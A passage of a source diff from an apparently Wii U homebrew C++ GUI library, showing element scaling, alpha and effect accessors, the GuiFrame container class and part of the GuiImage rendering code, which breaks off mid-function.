if(alphaDyn >= 0)
|
||||||
|
a = alphaDyn;
|
||||||
|
else
|
||||||
|
a = alpha;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
a = (a * parentElement->getAlpha());
|
||||||
|
|
||||||
|
return a;
|
||||||
|
}
|
||||||
|
//!Sets the element's scale
|
||||||
|
//!\param s scale (1 is 100%)
|
||||||
|
virtual void setScale(float s)
|
||||||
|
{
|
||||||
|
scaleX = s;
|
||||||
|
scaleY = s;
|
||||||
|
scaleZ = s;
|
||||||
|
}
|
||||||
|
//!Sets the element's scale
|
||||||
|
//!\param s scale (1 is 100%)
|
||||||
|
virtual void setScaleX(float s) { scaleX = s; }
|
||||||
|
//!Sets the element's scale
|
||||||
|
//!\param s scale (1 is 100%)
|
||||||
|
virtual void setScaleY(float s) { scaleY = s; }
|
||||||
|
//!Sets the element's scale
|
||||||
|
//!\param s scale (1 is 100%)
|
||||||
|
virtual void setScaleZ(float s) { scaleZ = s; }
|
||||||
|
//!Gets the element's current scale
|
||||||
|
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||||
|
virtual float getScale()
|
||||||
|
{
|
||||||
|
float s = 0.5f * (scaleX+scaleY) * scaleDyn;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
s *= parentElement->getScale();
|
||||||
|
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
//!Gets the element's current scale
|
||||||
|
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||||
|
virtual float getScaleX()
|
||||||
|
{
|
||||||
|
float s = scaleX * scaleDyn;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
s *= parentElement->getScaleX();
|
||||||
|
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
//!Gets the element's current scale
|
||||||
|
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||||
|
virtual float getScaleY()
|
||||||
|
{
|
||||||
|
float s = scaleY * scaleDyn;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
s *= parentElement->getScaleY();
|
||||||
|
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
//!Gets the element's current scale
|
||||||
|
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||||
|
virtual float getScaleZ()
|
||||||
|
{
|
||||||
|
float s = scaleZ;
|
||||||
|
|
||||||
|
if(parentElement)
|
||||||
|
s *= parentElement->getScaleZ();
|
||||||
|
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
//!Checks whether rumble was requested by the element
|
||||||
|
//!\return true is rumble was requested, false otherwise
|
||||||
|
virtual bool isRumbleActive() { return rumble; }
|
||||||
|
//!Sets whether or not the element is requesting a rumble event
|
||||||
|
//!\param r true if requesting rumble, false if not
|
||||||
|
virtual void setRumble(bool r) { rumble = r; }
|
||||||
|
//!Set an effect for the element
|
||||||
|
//!\param e Effect to enable
|
||||||
|
//!\param a Amount of the effect (usage varies on effect)
|
||||||
|
//!\param t Target amount of the effect (usage varies on effect)
|
||||||
|
virtual void setEffect(int e, int a, int t=0);
|
||||||
|
//!Sets an effect to be enabled on wiimote cursor over
|
||||||
|
//!\param e Effect to enable
|
||||||
|
//!\param a Amount of the effect (usage varies on effect)
|
||||||
|
//!\param t Target amount of the effect (usage varies on effect)
|
||||||
|
virtual void setEffectOnOver(int e, int a, int t=0);
|
||||||
|
//!Shortcut to SetEffectOnOver(EFFECT_SCALE, 4, 110)
|
||||||
|
virtual void setEffectGrow() { setEffectOnOver(EFFECT_SCALE, 4, 110); }
|
||||||
|
//!Reset all applied effects
|
||||||
|
virtual void resetEffects();
|
||||||
|
//!Gets the current element effects
|
||||||
|
//!\return element effects
|
||||||
|
virtual int getEffect() const { return effects; }
|
||||||
|
//!\return true if element animation is on going
|
||||||
|
virtual bool isAnimated() const { return (parentElement != 0) && (getEffect() > 0); }
|
||||||
|
//!Checks whether the specified coordinates are within the element's boundaries
|
||||||
|
//!\param x X coordinate
|
||||||
|
//!\param y Y coordinate
|
||||||
|
//!\return true if contained within, false otherwise
|
||||||
|
virtual bool isInside(f32 x, f32 y)
|
||||||
|
{
|
||||||
|
return ( x > (this->getCenterX() - getScaleX() * getWidth() * 0.5f)
|
||||||
|
&& x < (this->getCenterX() + getScaleX() * getWidth() * 0.5f)
|
||||||
|
&& y > (this->getCenterY() - getScaleY() * getHeight() * 0.5f)
|
||||||
|
&& y < (this->getCenterY() + getScaleY() * getHeight() * 0.5f));
|
||||||
|
}
|
||||||
|
//!Sets the element's position
|
||||||
|
//!\param x X coordinate
|
||||||
|
//!\param y Y coordinate
|
||||||
|
virtual void setPosition(f32 x, f32 y)
|
||||||
|
{
|
||||||
|
xoffset = x;
|
||||||
|
yoffset = y;
|
||||||
|
}
|
||||||
|
//!Sets the element's position
|
||||||
|
//!\param x X coordinate
|
||||||
|
//!\param y Y coordinate
|
||||||
|
//!\param z Z coordinate
|
||||||
|
virtual void setPosition(f32 x, f32 y, f32 z)
|
||||||
|
{
|
||||||
|
xoffset = x;
|
||||||
|
yoffset = y;
|
||||||
|
zoffset = z;
|
||||||
|
}
|
||||||
|
//!Gets whether or not the element is in STATE_SELECTED
|
||||||
|
//!\return true if selected, false otherwise
|
||||||
|
virtual int getSelected() { return -1; }
|
||||||
|
//!Sets the element's alignment respective to its parent element
|
||||||
|
//!Bitwise ALIGN_LEFT | ALIGN_RIGHT | ALIGN_CENTRE, ALIGN_TOP, ALIGN_BOTTOM, ALIGN_MIDDLE)
|
||||||
|
//!\param align Alignment
|
||||||
|
virtual void setAlignment(int a) { alignment = a; }
|
||||||
|
//!Gets the element's alignment
|
||||||
|
virtual int getAlignment() const { return alignment; }
|
||||||
|
//!Angle of the object
|
||||||
|
virtual void setAngle(f32 a) { angle = a; }
|
||||||
|
//!Angle of the object
|
||||||
|
virtual f32 getAngle() const { f32 r_angle = angle; if(parentElement) r_angle += parentElement->getAngle(); return r_angle; }
|
||||||
|
//!Called constantly to allow the element to respond to the current input data
|
||||||
|
//!\param t Pointer to a GuiController, containing the current input data from PAD/WPAD/VPAD
|
||||||
|
virtual void update(GuiController * t) { }
|
||||||
|
//!Called constantly to redraw the element
|
||||||
|
virtual void draw(CVideo * v) { }
|
||||||
|
//!Updates the element's effects (dynamic values)
|
||||||
|
//!Called by Draw(), used for animation purposes
|
||||||
|
virtual void updateEffects();
|
||||||
|
|
||||||
|
typedef struct _POINT {
|
||||||
|
s32 x;
|
||||||
|
s32 y;
|
||||||
|
} POINT;
|
||||||
|
|
||||||
|
enum
|
||||||
|
{
|
||||||
|
STATE_DEFAULT = 0,
|
||||||
|
STATE_SELECTED = 0x01,
|
||||||
|
STATE_CLICKED = 0x02,
|
||||||
|
STATE_HELD = 0x04,
|
||||||
|
STATE_OVER = 0x08,
|
||||||
|
STATE_HIDDEN = 0x10,
|
||||||
|
STATE_DISABLED = 0x80
|
||||||
|
};
|
||||||
|
|
||||||
|
//! Switch pointer from control to screen position
|
||||||
|
POINT PtrToScreen(POINT p)
|
||||||
|
{
|
||||||
|
//! TODO for 3D
|
||||||
|
//POINT r = { p.x + getLeft(), p.y + getTop() };
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
//! Switch pointer screen to control position
|
||||||
|
POINT PtrToControl(POINT p)
|
||||||
|
{
|
||||||
|
//! TODO for 3D
|
||||||
|
//POINT r = { p.x - getLeft(), p.y - getTop() };
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
//! Signals
|
||||||
|
sigslot::signal2<GuiElement *, bool> visibleChanged;
|
||||||
|
sigslot::signal3<GuiElement *, int, int> stateChanged;
|
||||||
|
sigslot::signal1<GuiElement *> effectFinished;
|
||||||
|
protected:
|
||||||
|
bool rumble; //!< Wiimote rumble (on/off) - set to on when this element requests a rumble event
|
||||||
|
bool visible; //!< Visibility of the element. If false, Draw() is skipped
|
||||||
|
bool selectable; //!< Whether or not this element selectable (can change to SELECTED state)
|
||||||
|
bool clickable; //!< Whether or not this element is clickable (can change to CLICKED state)
|
||||||
|
bool holdable; //!< Whether or not this element is holdable (can change to HELD state)
|
||||||
|
f32 width; //!< Element width
|
||||||
|
f32 height; //!< Element height
|
||||||
|
f32 xoffset; //!< Element X offset
|
||||||
|
f32 yoffset; //!< Element Y offset
|
||||||
|
f32 zoffset; //!< Element Z offset
|
||||||
|
f32 alpha; //!< Element alpha value (0-255)
|
||||||
|
f32 angle; //!< Angle of the object (0-360)
|
||||||
|
f32 scaleX; //!< Element scale (1 = 100%)
|
||||||
|
f32 scaleY; //!< Element scale (1 = 100%)
|
||||||
|
f32 scaleZ; //!< Element scale (1 = 100%)
|
||||||
|
int alignment; //!< Horizontal element alignment, respective to parent element
|
||||||
|
int state[4]; //!< Element state (DEFAULT, SELECTED, CLICKED, DISABLED)
|
||||||
|
int stateChan; //!< Which controller channel is responsible for the last change in state
|
||||||
|
GuiElement * parentElement; //!< Parent element
|
||||||
|
|
||||||
|
//! TODO: Move me to some Animator class
|
||||||
|
int xoffsetDyn; //!< Element X offset, dynamic (added to xoffset value for animation effects)
|
||||||
|
int yoffsetDyn; //!< Element Y offset, dynamic (added to yoffset value for animation effects)
|
||||||
|
f32 alphaDyn; //!< Element alpha, dynamic (multiplied by alpha value for blending/fading effects)
|
||||||
|
f32 scaleDyn; //!< Element scale, dynamic (multiplied by alpha value for blending/fading effects)
|
||||||
|
int effects; //!< Currently enabled effect(s). 0 when no effects are enabled
|
||||||
|
int effectAmount; //!< Effect amount. Used by different effects for different purposes
|
||||||
|
int effectTarget; //!< Effect target amount. Used by different effects for different purposes
|
||||||
|
int effectsOver; //!< Effects to enable when wiimote cursor is over this element. Copied to effects variable on over event
|
||||||
|
int effectAmountOver; //!< EffectAmount to set when wiimote cursor is over this element
|
||||||
|
int effectTargetOver; //!< EffectTarget to set when wiimote cursor is over this element
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
214
src/gui/GuiFrame.cpp
Normal file
214
src/gui/GuiFrame.cpp
Normal file
@ -0,0 +1,214 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiFrame.h"
|
||||||
|
|
||||||
|
GuiFrame::GuiFrame(GuiFrame *p)
|
||||||
|
{
|
||||||
|
parent = p;
|
||||||
|
width = 0;
|
||||||
|
height = 0;
|
||||||
|
dim = false;
|
||||||
|
|
||||||
|
if(parent)
|
||||||
|
parent->append(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiFrame::GuiFrame(f32 w, f32 h, GuiFrame *p)
|
||||||
|
{
|
||||||
|
parent = p;
|
||||||
|
width = w;
|
||||||
|
height = h;
|
||||||
|
dim = false;
|
||||||
|
|
||||||
|
if(parent)
|
||||||
|
parent->append(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiFrame::~GuiFrame()
|
||||||
|
{
|
||||||
|
closing(this);
|
||||||
|
|
||||||
|
if(parent)
|
||||||
|
parent->remove(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::append(GuiElement* e)
|
||||||
|
{
|
||||||
|
if (e == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
remove(e);
|
||||||
|
elements.push_back(e);
|
||||||
|
e->setParent(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::insert(GuiElement* e, u32 index)
|
||||||
|
{
|
||||||
|
if (e == NULL || (index >= elements.size()))
|
||||||
|
return;
|
||||||
|
|
||||||
|
remove(e);
|
||||||
|
elements.insert(elements.begin()+index, e);
|
||||||
|
e->setParent(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::remove(GuiElement* e)
|
||||||
|
{
|
||||||
|
if (e == NULL)
|
||||||
|
return;
|
||||||
|
|
||||||
|
for (u32 i = 0; i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
if(e == elements[i])
|
||||||
|
{
|
||||||
|
elements.erase(elements.begin()+i);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::removeAll()
|
||||||
|
{
|
||||||
|
elements.clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::close()
|
||||||
|
{
|
||||||
|
//Application::instance()->pushForDelete(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::dimBackground(bool d)
|
||||||
|
{
|
||||||
|
dim = d;
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiElement* GuiFrame::getGuiElementAt(u32 index) const
|
||||||
|
{
|
||||||
|
if (index >= elements.size())
|
||||||
|
return NULL;
|
||||||
|
return elements[index];
|
||||||
|
}
|
||||||
|
|
||||||
|
u32 GuiFrame::getSize()
|
||||||
|
{
|
||||||
|
return elements.size();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::resetState()
|
||||||
|
{
|
||||||
|
GuiElement::resetState();
|
||||||
|
|
||||||
|
for (u32 i = 0; i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
elements[i]->resetState();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::setState(int s, int c)
|
||||||
|
{
|
||||||
|
GuiElement::setState(s, c);
|
||||||
|
|
||||||
|
for (u32 i = 0; i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
elements[i]->setState(s, c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::clearState(int s, int c)
|
||||||
|
{
|
||||||
|
GuiElement::clearState(s, c);
|
||||||
|
|
||||||
|
for (u32 i = 0; i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
elements[i]->clearState(s, c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::setVisible(bool v)
|
||||||
|
{
|
||||||
|
visible = v;
|
||||||
|
|
||||||
|
for (u32 i = 0; i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
elements[i]->setVisible(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int GuiFrame::getSelected()
|
||||||
|
{
|
||||||
|
// find selected element
|
||||||
|
int found = -1;
|
||||||
|
for (u32 i = 0; i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
if(elements[i]->isStateSet(STATE_SELECTED | STATE_OVER))
|
||||||
|
{
|
||||||
|
found = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::draw(CVideo * v)
|
||||||
|
{
|
||||||
|
if(!this->isVisible() && parentElement)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if(parentElement && dim == true)
|
||||||
|
{
|
||||||
|
//GXColor dimColor = (GXColor){0, 0, 0, 0x70};
|
||||||
|
//Menu_DrawRectangle(0, 0, GetZPosition(), screenwidth,screenheight, &dimColor, false, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
//! render appended items next frame but allow stop of render if size is reached
|
||||||
|
u32 size = elements.size();
|
||||||
|
|
||||||
|
for (u32 i = 0; i < size && i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
elements[i]->draw(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::updateEffects()
|
||||||
|
{
|
||||||
|
if(!this->isVisible() && parentElement)
|
||||||
|
return;
|
||||||
|
|
||||||
|
GuiElement::updateEffects();
|
||||||
|
|
||||||
|
//! render appended items next frame but allow stop of render if size is reached
|
||||||
|
u32 size = elements.size();
|
||||||
|
|
||||||
|
for (u32 i = 0; i < size && i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
elements[i]->updateEffects();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiFrame::update(GuiController * c)
|
||||||
|
{
|
||||||
|
if(isStateSet(STATE_DISABLED) && parentElement)
|
||||||
|
return;
|
||||||
|
|
||||||
|
//! update appended items next frame
|
||||||
|
u32 size = elements.size();
|
||||||
|
|
||||||
|
for (u32 i = 0; i < size && i < elements.size(); ++i)
|
||||||
|
{
|
||||||
|
elements[i]->update(c);
|
||||||
|
}
|
||||||
|
}
|
96
src/gui/GuiFrame.h
Normal file
96
src/gui/GuiFrame.h
Normal file
@ -0,0 +1,96 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_FRAME_H_
|
||||||
|
#define GUI_FRAME_H_
|
||||||
|
|
||||||
|
#include <vector>
|
||||||
|
#include "GuiElement.h"
|
||||||
|
#include "sigslot.h"
|
||||||
|
|
||||||
|
//!Allows GuiElements to be grouped together into a "window"
|
||||||
|
class GuiFrame : public GuiElement
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
GuiFrame(GuiFrame *parent = 0);
|
||||||
|
//!\overload
|
||||||
|
//!\param w Width of window
|
||||||
|
//!\param h Height of window
|
||||||
|
GuiFrame(f32 w, f32 h, GuiFrame *parent = 0);
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiFrame();
|
||||||
|
//!Appends a GuiElement to the GuiFrame
|
||||||
|
//!\param e The GuiElement to append. If it is already in the GuiFrame, it is removed first
|
||||||
|
void append(GuiElement* e);
|
||||||
|
//!Inserts a GuiElement into the GuiFrame at the specified index
|
||||||
|
//!\param e The GuiElement to insert. If it is already in the GuiFrame, it is removed first
|
||||||
|
//!\param i Index in which to insert the element
|
||||||
|
void insert(GuiElement* e, u32 i);
|
||||||
|
//!Removes the specified GuiElement from the GuiFrame
|
||||||
|
//!\param e GuiElement to be removed
|
||||||
|
void remove(GuiElement* e);
|
||||||
|
//!Removes all GuiElements
|
||||||
|
void removeAll();
|
||||||
|
//!Bring element to front of the window
|
||||||
|
void bringToFront(GuiElement *e) { remove(e); append(e); }
|
||||||
|
//!Returns the GuiElement at the specified index
|
||||||
|
//!\param index The index of the element
|
||||||
|
//!\return A pointer to the element at the index, NULL on error (eg: out of bounds)
|
||||||
|
GuiElement* getGuiElementAt(u32 index) const;
|
||||||
|
//!Returns the size of the list of elements
|
||||||
|
//!\return The size of the current element list
|
||||||
|
u32 getSize();
|
||||||
|
//!Sets the visibility of the window
|
||||||
|
//!\param v visibility (true = visible)
|
||||||
|
void setVisible(bool v);
|
||||||
|
//!Resets the window's state to STATE_DEFAULT
|
||||||
|
void resetState();
|
||||||
|
//!Sets the window's state
|
||||||
|
//!\param s State
|
||||||
|
void setState(int s, int c = -1);
|
||||||
|
void clearState(int s, int c = -1);
|
||||||
|
//!Gets the index of the GuiElement inside the window that is currently selected
|
||||||
|
//!\return index of selected GuiElement
|
||||||
|
int getSelected();
|
||||||
|
//!Dim the Window's background
|
||||||
|
void dimBackground(bool d);
|
||||||
|
//!Draws all the elements in this GuiFrame
|
||||||
|
void draw(CVideo * v);
|
||||||
|
//!Updates the window and all elements contains within
|
||||||
|
//!Allows the GuiFrame and all elements to respond to the input data specified
|
||||||
|
//!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD
|
||||||
|
void update(GuiController * t);
|
||||||
|
//!virtual Close Window - this will put the object on the delete queue in MainWindow
|
||||||
|
virtual void close();
|
||||||
|
//!virtual show window function
|
||||||
|
virtual void show() {}
|
||||||
|
//!virtual hide window function
|
||||||
|
virtual void hide() {}
|
||||||
|
//!virtual enter main loop function (blocking)
|
||||||
|
virtual void exec() {}
|
||||||
|
//!virtual updateEffects which is called by the main loop
|
||||||
|
virtual void updateEffects();
|
||||||
|
//! Signals
|
||||||
|
//! On Closing
|
||||||
|
sigslot::signal1<GuiFrame *> closing;
|
||||||
|
protected:
|
||||||
|
bool dim; //! Enable/disable dim of a window only
|
||||||
|
GuiFrame *parent; //!< Parent Window
|
||||||
|
std::vector<GuiElement*> elements; //!< Contains all elements within the GuiFrame
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
289
src/gui/GuiImage.cpp
Normal file
289
src/gui/GuiImage.cpp
Normal file
@ -0,0 +1,289 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include "GuiImage.h"
|
||||||
|
#include "video/CVideo.h"
|
||||||
|
#include "video/shaders/Texture2DShader.h"
|
||||||
|
#include "video/shaders/ColorShader.h"
|
||||||
|
|
||||||
|
static const f32 fPiDiv180 = ((f32)M_PI / 180.0f);
|
||||||
|
|
||||||
|
GuiImage::GuiImage(GuiImageData * img)
|
||||||
|
{
|
||||||
|
if(img && img->getTexture())
|
||||||
|
{
|
||||||
|
width = img->getWidth();
|
||||||
|
height = img->getHeight();
|
||||||
|
}
|
||||||
|
|
||||||
|
internalInit(width, height);
|
||||||
|
imageData = img;
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiImage::GuiImage(int w, int h, const GX2Color & c, int type)
|
||||||
|
{
|
||||||
|
internalInit(w, h);
|
||||||
|
imgType = type;
|
||||||
|
colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize;
|
||||||
|
|
||||||
|
colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize);
|
||||||
|
if(colorVtxs)
|
||||||
|
{
|
||||||
|
for(u32 i = 0; i < colorCount; i++)
|
||||||
|
setImageColor(c, i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiImage::GuiImage(int w, int h, const GX2Color *c, u32 color_count, int type)
|
||||||
|
{
|
||||||
|
internalInit(w, h);
|
||||||
|
imgType = type;
|
||||||
|
colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize;
|
||||||
|
if(colorCount < color_count)
|
||||||
|
colorCount = color_count;
|
||||||
|
|
||||||
|
colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize);
|
||||||
|
if(colorVtxs)
|
||||||
|
{
|
||||||
|
for(u32 i = 0; i < colorCount; i++)
|
||||||
|
{
|
||||||
|
// take the last as reference if not enough colors defined
|
||||||
|
int idx = (i < color_count) ? i : (color_count - 1);
|
||||||
|
setImageColor(c[idx], i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Destructor for the GuiImage class.
|
||||||
|
*/
|
||||||
|
GuiImage::~GuiImage()
|
||||||
|
{
|
||||||
|
if(colorVtxs) {
|
||||||
|
free(colorVtxs);
|
||||||
|
colorVtxs = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImage::internalInit(int w, int h)
|
||||||
|
{
|
||||||
|
imageData = NULL;
|
||||||
|
width = w;
|
||||||
|
height = h;
|
||||||
|
tileHorizontal = -1;
|
||||||
|
tileVertical = -1;
|
||||||
|
imgType = IMAGE_TEXTURE;
|
||||||
|
colorVtxsDirty = false;
|
||||||
|
colorVtxs = NULL;
|
||||||
|
colorCount = 0;
|
||||||
|
posVtxs = NULL;
|
||||||
|
texCoords = NULL;
|
||||||
|
vtxCount = 4;
|
||||||
|
primitive = GX2_PRIMITIVE_QUADS;
|
||||||
|
|
||||||
|
imageAngle = 0.0f;
|
||||||
|
blurDirection = glm::vec3(0.0f);
|
||||||
|
positionOffsets = glm::vec3(0.0f);
|
||||||
|
scaleFactor = glm::vec3(1.0f);
|
||||||
|
colorIntensity = glm::vec4(1.0f);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImage::setImageData(GuiImageData * img)
|
||||||
|
{
|
||||||
|
imageData = img;
|
||||||
|
width = 0;
|
||||||
|
height = 0;
|
||||||
|
if(img && img->getTexture())
|
||||||
|
{
|
||||||
|
width = img->getWidth();
|
||||||
|
height = img->getHeight();
|
||||||
|
}
|
||||||
|
imgType = IMAGE_TEXTURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
GX2Color GuiImage::getPixel(int x, int y)
|
||||||
|
{
|
||||||
|
if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight())
|
||||||
|
return (GX2Color){0, 0, 0, 0};
|
||||||
|
|
||||||
|
u32 pitch = imageData->getTexture()->surface.pitch;
|
||||||
|
u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data;
|
||||||
|
|
||||||
|
u32 color_u32 = imagePtr[y * pitch + x];
|
||||||
|
GX2Color color;
|
||||||
|
color.r = (color_u32 >> 24) & 0xFF;
|
||||||
|
color.g = (color_u32 >> 16) & 0xFF;
|
||||||
|
color.b = (color_u32 >> 8) & 0xFF;
|
||||||
|
color.a = (color_u32 >> 0) & 0xFF;
|
||||||
|
return color;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImage::setPixel(int x, int y, const GX2Color & color)
|
||||||
|
{
|
||||||
|
if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight())
|
||||||
|
return;
|
||||||
|
|
||||||
|
|
||||||
|
u32 pitch = imageData->getTexture()->surface.pitch;
|
||||||
|
u32 *imagePtr = (u32*)imageData->getTexture()->surface.image_data;
|
||||||
|
imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16) | (color.b << 8) | (color.a << 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImage::setImageColor(const GX2Color & c, int idx)
|
||||||
|
{
|
||||||
|
if(!colorVtxs) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(idx >= 0 && idx < (int)colorCount)
|
||||||
|
{
|
||||||
|
colorVtxs[(idx << 2) + 0] = c.r;
|
||||||
|
colorVtxs[(idx << 2) + 1] = c.g;
|
||||||
|
colorVtxs[(idx << 2) + 2] = c.b;
|
||||||
|
colorVtxs[(idx << 2) + 3] = c.a;
|
||||||
|
colorVtxsDirty = true;
|
||||||
|
}
|
||||||
|
else if(colorVtxs)
|
||||||
|
{
|
||||||
|
for(u32 i = 0; i < (ColorShader::cuColorVtxsSize / sizeof(u8)); i += 4)
|
||||||
|
{
|
||||||
|
colorVtxs[i + 0] = c.r;
|
||||||
|
colorVtxs[i + 1] = c.g;
|
||||||
|
colorVtxs[i + 2] = c.b;
|
||||||
|
colorVtxs[i + 3] = c.a;
|
||||||
|
}
|
||||||
|
colorVtxsDirty = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImage::setSize(int w, int h)
|
||||||
|
{
|
||||||
|
width = w;
|
||||||
|
height = h;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImage::setPrimitiveVertex(s32 prim, const f32 *posVtx, const f32 *texCoord, u32 vtxcount)
|
||||||
|
{
|
||||||
|
primitive = prim;
|
||||||
|
vtxCount = vtxcount;
|
||||||
|
posVtxs = posVtx;
|
||||||
|
texCoords = texCoord;
|
||||||
|
|
||||||
|
if(imgType == IMAGE_COLOR)
|
||||||
|
{
|
||||||
|
u8 * newColorVtxs = (u8 *) memalign(0x40, ColorShader::cuColorAttrSize * vtxCount);
|
||||||
|
|
||||||
|
for(u32 i = 0; i < vtxCount; i++)
|
||||||
|
{
|
||||||
|
int newColorIdx = (i << 2);
|
||||||
|
int colorIdx = (i < colorCount) ? (newColorIdx) : ((colorCount - 1) << 2);
|
||||||
|
|
||||||
|
newColorVtxs[newColorIdx + 0] = colorVtxs[colorIdx + 0];
|
||||||
|
newColorVtxs[newColorIdx + 1] = colorVtxs[colorIdx + 1];
|
||||||
|
newColorVtxs[newColorIdx + 2] = colorVtxs[colorIdx + 2];
|
||||||
|
newColorVtxs[newColorIdx + 3] = colorVtxs[colorIdx + 3];
|
||||||
|
}
|
||||||
|
|
||||||
|
free(colorVtxs);
|
||||||
|
colorVtxs = newColorVtxs;
|
||||||
|
colorCount = vtxCount;
|
||||||
|
